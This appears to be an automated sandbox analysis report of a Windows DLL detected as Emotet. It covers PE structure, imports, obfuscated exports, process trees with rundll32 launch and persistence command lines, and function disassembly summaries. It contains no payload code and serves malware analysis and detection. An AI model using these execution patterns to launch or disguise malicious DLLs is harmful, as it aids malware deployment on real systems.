xor eax, eax
inc eax
push ebx
cpuid

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4aaa0	0x944	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b3e4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x50000	0x24448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x75000	0x2d78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x46838	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3a000	0x328	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x385cc	0x38600	False	0.542072304601	data	6.65370681685	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x3a000	0x12520	0x12600	False	0.497967155612	data	5.51962067899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4d000	0x23d4	0x1600	False	0.2265625	data	3.93138515856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x50000	0x24448	0x24600	False	0.788874570447	data	7.67571153778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x75000	0x2d78	0x2e00	False	0.740913722826	data	6.57934659057	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
TYPELIB	0x73c30	0x670	data	English	United States
RT_BITMAP	0x50190	0x23867	data	Russian	Russia
RT_STRING	0x742a0	0x26	data	English	United States
RT_VERSION	0x739f8	0x238	data	English	United States
RT_MANIFEST	0x742c8	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
pdh.dll	PdhGetFormattedCounterValue, PdhCollectQueryData, PdhCloseQuery, PdhRemoveCounter, PdhAddCounterW, PdhValidatePathW, PdhOpenQueryW
KERNEL32.dll	UnregisterApplicationRestart, GetThreadLocale, UnregisterApplicationRecoveryCallback, SetFileApisToOEM, GetACP, GetCurrentProcessorNumber, GetLastError, AreFileApisANSI, GetEnvironmentStringsW, GetCommandLineW, TlsAlloc, SwitchToThread, GetUserDefaultUILanguage, GetUserDefaultLangID, GetOEMCP, IsDebuggerPresent, MultiByteToWideChar, RaiseException, InitializeCriticalSectionEx, DeleteCriticalSection, DecodePointer, EnterCriticalSection, LeaveCriticalSection, LoadResource, SizeofResource, FindResourceW, GetModuleHandleW, GetProcAddress, LoadLibraryExW, GetModuleFileNameW, lstrcmpiW, FreeLibrary, GetCurrentThreadId, MulDiv, SetLastError, DisableThreadLibraryCalls, IsProcessorFeaturePresent, SetFilePointerEx, GetFileSizeEx, GetConsoleMode, GetConsoleCP, GetCurrentProcess, FlushFileBuffers, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, FreeEnvironmentStringsW, GetCommandLineA, IsValidCodePage, FindNextFileW, FindFirstFileExW, HeapReAlloc, HeapSize, GetFileType, GetStdHandle, GetModuleHandleExW, ExitProcess, TlsFree, TlsSetValue, TlsGetValue, InitializeCriticalSectionAndSpinCount, InterlockedFlushSList, RtlUnwind, LoadLibraryExA, VirtualFree, VirtualAlloc, FlushInstructionCache, InterlockedPushEntrySList, InterlockedPopEntrySList, HeapFree, HeapAlloc, OutputDebugStringW, GetCPInfo, GetStringTypeW, LCMapStringEx, EncodePointer, GetSystemDefaultUILanguage, GetStartupInfoW, GetTickCount, GetProcessHeap, CloseHandle, ReadFile, FindClose, GetLogicalDrives, GetTickCount64, ReadConsoleW, SetStdHandle, CreateFileW, WriteConsoleW, TerminateProcess, SetUnhandledExceptionFilter, WriteFile, LocalFree, WideCharToMultiByte, InitializeSListHead, GetSystemTimeAsFileTime, GetCurrentProcessId, QueryPerformanceCounter, UnhandledExceptionFilter
USER32.dll	GetForegroundWindow, GetMessageExtraInfo, GetMessageTime, CreateMenu, GetDesktopWindow, AnyPopup, GetMenuCheckMarkDimensions, GetFocus, IsProcessDPIAware, CallWindowProcW, DrawTextW, InsertMenuW, RegisterClassExW, LoadCursorW, GetClassInfoExW, DefWindowProcW, IsWindow, GetParent, SetTimer, ShowWindow, InvalidateRect, ReleaseDC, GetDC, EndPaint, BeginPaint, ClientToScreen, GetClientRect, SendMessageW, DestroyWindow, CreateWindowExW, GetWindowLongW, SetWindowLongW, CharNextW, UnregisterClassW, IsWow64Message, GetKBCodePage, GetCapture, EmptyClipboard, DestroyCaret, GetCursor, GetClipboardViewer, GetProcessWindowStation, GetDialogBaseUnits, GetClipboardSequenceNumber
GDI32.dll	SetBkMode, SetTextColor, CreateFontW, DeleteDC, BitBlt, CreateCompatibleDC, CreateCompatibleBitmap, DeleteObject, GetTextMetricsW, GetDeviceCaps, GdiFlush, SelectObject
ADVAPI32.dll	RegDeleteValueW, RegQueryInfoKeyW, RegSetValueExW, RegEnumKeyExW, RegCloseKey, RegDeleteKeyW, RegCreateKeyExW, RegOpenKeyExW
SHELL32.dll	ShellExecuteW, SHGetFolderPathW
ole32.dll	CoUninitialize, CoFreeUnusedLibraries, CoCreateInstance, CoInitialize, OleRun, CoTaskMemAlloc, CoTaskMemRealloc, CoTaskMemFree
OLEAUT32.dll	SysAllocStringLen, SysFreeString, SysAllocString, SysStringLen, VarBstrCmp, VariantInit, VariantClear, VariantCopy, VariantChangeType, VarUI4FromStr, LoadTypeLib, LoadRegTypeLib

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x10001200
agrwqhxohbh	2	0x10001640
aoydsyidkopcdbcv	3	0x10001590
aqaxnxiyp	4	0x100017f0
aqifizcrcigtbc	5	0x100014d0
blgyxvnrgnj	6	0x10001340
bmhoscqeo	7	0x10001800
cbhbbbnsysmxsglys	8	0x10001280
cfqauuhezdfiadv	9	0x10001300
cqaqtfmqa	10	0x100014e0
cqvdnmef	11	0x10001520
diemgfpllpxdynrp	12	0x10001660
dsjfkiuaxjmd	13	0x10001620
dvccbqldzo	14	0x10001440
eczhlkzhigpqdmji	15	0x10001690
efekjykefnomyepb	16	0x10001240
euzzsyjhhyjk	17	0x100014a0
ewfjolbrdkpfbu	18	0x100016a0
eyxfduuwswrkkfb	19	0x10001460
fcsjavaerhwh	20	0x10001460
fcvpuvlkd	21	0x10001770
fuiqbwlhvf	22	0x10001350
fuqdrqudohprlav	23	0x10001670
gdkmnewqrifmu	24	0x100013c0
giqdygu	25	0x100013b0
glvwwvhxytydlsckc	26	0x10001380
gqmumjymsqech	27	0x10001580
gyjdlfnpvuwyns	28	0x10001650
hezdupwudyyyunzce	29	0x10001570
hizzovalrzxhws	30	0x10001370
hqgltakgvouu	31	0x10001500
hxgrftzpapbksfw	32	0x10001810
hyjgiak	33	0x10001510
ibfqhgpcdmnlpuk	34	0x10001710
ijgncsgxqm	35	0x100016c0
ikolskwqhh	36	0x100012f0
iqpjrfuazqzzwyo	37	0x10001530
isnzfcopptq	38	0x100017e0
jotmsherwxebbxdwx	39	0x100013f0
jpbchpiky	40	0x100014b0
keopfre	41	0x100012d0
kgbfkdt	42	0x100017c0
kqfozymw	43	0x10001550
kqfwxmzinluclznz	44	0x100016d0
ksctsripmbdzxec	45	0x10001360
kxtqnogkhyqfdk	46	0x10001750
kyetmotely	47	0x100015c0
kzmqflbfkeynkpnrq	48	0x10001560
lwpzefcmc	49	0x10001680
mdicbempsw	50	0x10001760
mpniirdopznongc	51	0x100015f0
nfrruustkviwho	52	0x10001490
nnkxzau	53	0x10001540
ntlbxpnmpq	54	0x10001230
nylgigzlzgq	55	0x100014f0
oeeppbdhlwtqbebsc	56	0x10001780
oqimmdcao	57	0x100017d0
osmdblb	58	0x10001330
oulnevvyoxvhtk	59	0x10001700
ozjhpfvilsnz	60	0x10001790
pagmvmro	61	0x10001320
payapldnccmqll	62	0x10001730
pfzpoofrhpqtfonq	63	0x10001420
phaingm	64	0x10001740
pnmndzlcdiozheqcr	65	0x10001480
ptvzejspfsvtd	66	0x100013d0
qqpdqfhvygfzbonj	67	0x100015a0
qvaqcsa	68	0x100016b0
reounuhn	69	0x10001400
rljiirg	70	0x100016f0
rzoamlp	71	0x10001680
sgrpewcbpscaglfx	72	0x100012a0
silzddmlwg	73	0x10001430
sndamdd	74	0x100015e0
suxfnypakljbnhg	75	0x10001310
szmxqtjgfdddthzk	76	0x10001270
tdgezaxepwnz	77	0x10001470
toikjwtfacwnkn	78	0x100012e0
twtkllimi	79	0x10001390
ubpocaaeiir	80	0x10001820
ucnbopvvjujq	81	0x100012b0
umbcxxdpseqvmldz	82	0x100013e0
utuywjyiha	83	0x100015d0
uwqjkkocvv	84	0x100017a0
vghlpxvxj	85	0x10001560
vpqbpugn	86	0x100016e0
vqexozpspangdtj	87	0x10001250
vsdkqknjinjykgbox	88	0x100015b0
vtmgzxszfgtryo	89	0x100017b0
vwmgmxgrrqxpkt	90	0x10001700
vwrjazoqyjdmbl	91	0x100012c0
wkhdiwewd	92	0x10001600
xkarkqyvb	93	0x100014c0
xksexikuknuashri	94	0x10001260
xvhmkowwnqqduu	95	0x10001610
ycvymuzl	96	0x10001630
ydlbmankf	97	0x10001410
yfnbxcvx	98	0x100013a0
ygpnkudw	99	0x10001290
zdchnvpeni	100	0x10001720
znvawoxitvi	101	0x10001450

Version Infos

Description	Data
InternalName	Ylncpiqzme.dll
FileVersion	7.2.6.9
ProductName	Ylncpiqzme
ProductVersion	7.2.6.9
FileDescription	rqdads
OriginalFilename	Ylncpiqzme.dll
Translation	0x0408 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6956 Parent PID: 6032

General

Start time:	09:20:08
Start date:	02/12/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll"
Imagebase:	0x8c0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000001.00000002.697195816.000000000111B000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 7012 Parent PID: 6956

General

Start time:	09:20:09
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7040 Parent PID: 6956

General

Start time:	09:20:09
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,Control_RunDLL
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.694340801.0000000000A30000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.694486235.0000000000AB6000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7056 Parent PID: 7012

General

Start time:	09:20:09
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.683073019.0000000000DBA000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.683120624.0000000001130000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7092 Parent PID: 6956

General

Start time:	09:20:13
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,agrwqhxohbh
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.684418715.0000000000380000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.684454921.00000000006DA000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7108 Parent PID: 6956

General

Start time:	09:20:17
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,aoydsyidkopcdbcv
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.696143071.0000000000B10000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.696221862.0000000000D4A000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6708 Parent PID: 572

General

Start time:	09:21:50
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5544 Parent PID: 7056

General

Start time:	09:23:03
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5368 Parent PID: 7040

General

Start time:	09:23:03
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jsczeisswlgpw\ifzwhxr.fpp",gqJNgJRYaqyk
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000E.00000002.828298416.00000000008E0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000E.00000002.828605995.00000000009D5000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5240 Parent PID: 7092

General

Start time:	09:23:07
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5192 Parent PID: 7108

General

Start time:	09:23:12
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5064 Parent PID: 6956

General

Start time:	09:23:13
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL
Imagebase:	0x12c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6956 Parent PID: 6032 loaddll32.exeCOMMON

Executed Functions

Function 6E8F6100, Relevance: 63.2, APIs: 41, Instructions: 1688windowclipboardthreadCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6E8F6154
__aullrem.LIBCMT ref: 6E8F6189
CreateMenu.USER32(A836F30C,00000000,0000005F,00000000,00000002,74E00DE0,00000000), ref: 6E8F62A3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6E8F62E7
GetProcessWindowStation.USER32(A836F30C,00000000,0000005F,00000000,00000002,74E00DE0,00000000), ref: 6E8F633D
GetDialogBaseUnits.USER32 ref: 6E8F637A

Part of subcall function 6E8F5ED0: GdiFlush.GDI32(00000031,0000004F,?,6E8F6387), ref: 6E8F5EF5
Part of subcall function 6E8F5ED0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6E8F5F01

Part of subcall function 6E8F5F20: GetThreadLocale.KERNEL32(00000000,00000031,0000004F,?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8), ref: 6E8F5F67
Part of subcall function 6E8F5F20: CoFreeUnusedLibraries.OLE32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5F80
Part of subcall function 6E8F5F20: GetFocus.USER32 ref: 6E8F5FB0
Part of subcall function 6E8F5F20: SetFileApisToOEM.KERNEL32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5FE3
Part of subcall function 6E8F5F20: GetClipboardSequenceNumber.USER32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F6020

GetCurrentProcessorNumber.KERNEL32 ref: 6E8F64EC
GetLogicalDrives.KERNEL32 ref: 6E8F6524
GetLastError.KERNEL32 ref: 6E8F6740
GetCurrentProcessorNumber.KERNEL32 ref: 6E8F6800
AreFileApisANSI.KERNEL32 ref: 6E8F68A0
CoFreeUnusedLibraries.OLE32 ref: 6E8F6910
GetForegroundWindow.USER32 ref: 6E8F69BC
DestroyCaret.USER32 ref: 6E8F69E5
GetClipboardViewer.USER32 ref: 6E8F6A19
GetMessageTime.USER32 ref: 6E8F6A26
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 6E8F6A6D
GetCursor.USER32 ref: 6E8F6B55
GetTickCount.KERNEL32 ref: 6E8F6D47

Part of subcall function 6E8F5F20: IsProcessDPIAware.USER32 ref: 6E8F5F6F

Part of subcall function 6E8F5BB0: GetTickCount.KERNEL32 ref: 6E8F5BCB
Part of subcall function 6E8F5BB0: GetMenuCheckMarkDimensions.USER32 ref: 6E8F5C12
Part of subcall function 6E8F5BB0: CoUninitialize.OLE32(?,6E8F6387), ref: 6E8F5C5A

GetThreadLocale.KERNEL32 ref: 6E8F6EBA
CoUninitialize.OLE32 ref: 6E8F6F2A
SwitchToThread.KERNEL32 ref: 6E8F6F50
GetCapture.USER32 ref: 6E8F7112
GetUserDefaultUILanguage.KERNEL32 ref: 6E8F7222
AreFileApisANSI.KERNEL32 ref: 6E8F7330
GetUserDefaultLangID.KERNEL32 ref: 6E8F7380

Part of subcall function 6E8F5BB0: GetSystemDefaultUILanguage.KERNEL32(?,6E8F6387), ref: 6E8F5CD8

GetKBCodePage.USER32 ref: 6E8F7170

Part of subcall function 6E8F5BB0: GetForegroundWindow.USER32(?,6E8F6387), ref: 6E8F5C79
Part of subcall function 6E8F5BB0: AnyPopup.USER32 ref: 6E8F5CE8

GetClipboardViewer.USER32 ref: 6E8F792A
GetCommandLineW.KERNEL32 ref: 6E8F7949
GetClipboardSequenceNumber.USER32 ref: 6E8F796D
IsWow64Message.USER32 ref: 6E8F7991
GetUserDefaultLangID.KERNEL32 ref: 6E8F7997
UnregisterApplicationRestart.KERNEL32 ref: 6E8F79B1
GetACP.KERNEL32 ref: 6E8F79C1

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ClipboardDefaultNumber$ApisFileThreadUserWindow$CountCurrentForegroundFreeLangLanguageLibrariesLocaleMenuMessageProcessProcessorSequenceTickUninitializeUnothrow_t@std@@@UnusedViewer__ehfuncinfo$??2@$AllocApplicationAwareBaseCaptureCaretCheckCodeCommandCreateCursorDestroyDialogDimensionsDrivesErrorFlushFocusLastLineLogicalMarkPagePopupRestartStationSwitchSystemTimeUnitsUnregisterVirtualWow64__aulldiv__aullrem
String ID:
API String ID: 610619165-0
Opcode ID: 3ca9432af8a46f732082df08b2c06f929adae2584abb720a17d17dfedd8d9013
Instruction ID: 2dfecf29a222cb5b9c94bd878f79ca64f9987f090abcbe2790c00208398e6f91
Opcode Fuzzy Hash: 3ca9432af8a46f732082df08b2c06f929adae2584abb720a17d17dfedd8d9013
Instruction Fuzzy Hash: 13E2B271D24E19CFDB12DFB9C45069EB7B5BF5A3C4B108B26D8067B245EB319882CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00DAED95, Relevance: 9.1, Strings: 7, Instructions: 364COMMON

Download Yara Rule

Strings

c, xrefs: 00DAEE51
H%R, xrefs: 00DAF35B
N8^, xrefs: 00DAF29A
?D, xrefs: 00DAF023
?D, xrefs: 00DAF017
, ;, xrefs: 00DAEF4A
vD, xrefs: 00DAEF15

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: , ;$H%R$N8^$vD$?D$?D$c
API String ID: 0-926347615
Opcode ID: f79b3a806d8dc9d65c3e2f4a39d318cb794bbddef11445f198705f212981a77a
Instruction ID: b447f7c722c549a2156e0d0799ee169f1e497e71c8fbe4c40f35e33abfbae3eb
Opcode Fuzzy Hash: f79b3a806d8dc9d65c3e2f4a39d318cb794bbddef11445f198705f212981a77a
Instruction Fuzzy Hash: 3D1211B25093809FD768CF65C58AA4BBBF2FBC5718F10891DE1D986260D7B18948CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00DB06EF, Relevance: 6.5, Strings: 5, Instructions: 204COMMON

Download Yara Rule

Strings

GDK, xrefs: 00DB0825
Smq, xrefs: 00DB0770
XU~, xrefs: 00DB075B
~V, xrefs: 00DB0800
`H*, xrefs: 00DB073E

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID: GDK$Smq$XU~$`H*$~V
API String ID: 963392458-3650479097
Opcode ID: c567ba80173c02312879da60463322da737f8d1bc8f9a2772910c3847abd660a
Instruction ID: 17a8407e5890fd4bd32aa49d9257ef6a85803e0cf631e6f6c1770026254dc42f
Opcode Fuzzy Hash: c567ba80173c02312879da60463322da737f8d1bc8f9a2772910c3847abd660a
Instruction Fuzzy Hash: A5A1E072500248EBDF59CFA5C94A9CE3FA1FF48358F109119FE1A96260D7B6C999CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F5980, Relevance: 1.7, APIs: 1, Instructions: 167COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(6E8F0000,000000C9,00000002,00000002,74E00DE0,00000000), ref: 6E8F59E3

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: d72e60e1b9de403a8ab940be23fe99d301c2f08955b2c4faf22bfbf7f1fffc13
Instruction ID: 3367434d7c8c7958104a15d61ab33ffde6e2d9f32758aa8c364a39da3a01a72c
Opcode Fuzzy Hash: d72e60e1b9de403a8ab940be23fe99d301c2f08955b2c4faf22bfbf7f1fffc13
Instruction Fuzzy Hash: 4D612331A0829A8BCB18CFACC5841EDFBF1BF49300F5083A9E452DB656D770AB59C750

Uniqueness

Uniqueness Score: -1.00%

Function 6E904A48, Relevance: 10.6, APIs: 7, Instructions: 136COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6E904A8F
___scrt_uninitialize_crt.LIBCMT ref: 6E904AA9

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: aede49f719ee35a53f00e1a2eec93e2135d063dc2ef185bcdcbcb56dc34eb084
Instruction ID: 5c42ccc289ff516525212af6a8db775a4ebe102ec911018ee4d2a5f566869518
Opcode Fuzzy Hash: aede49f719ee35a53f00e1a2eec93e2135d063dc2ef185bcdcbcb56dc34eb084
Instruction Fuzzy Hash: F4418F72D08629AFDB609FE9C800BEE7AACEFE5755F40492DE81496250D730CD028F90

Uniqueness

Uniqueness Score: -1.00%

Function 6E903250, Relevance: 10.6, APIs: 7, Instructions: 131threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6E8F27E0: GetTickCount64.KERNEL32 ref: 6E8F27EE

GetTickCount64.KERNEL32 ref: 6E9032B2
GetTickCount64.KERNEL32 ref: 6E9032D0
GetTickCount64.KERNEL32 ref: 6E9032E9
GetTickCount64.KERNEL32 ref: 6E9032EB
GetTickCount64.KERNEL32 ref: 6E9032F2
GetTickCount64.KERNEL32 ref: 6E903310
DisableThreadLibraryCalls.KERNEL32(?,?,?,00000001,?,?,00000001,?,6E939FC0,0000000C,6E904C4A,?,00000001,?), ref: 6E903349

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

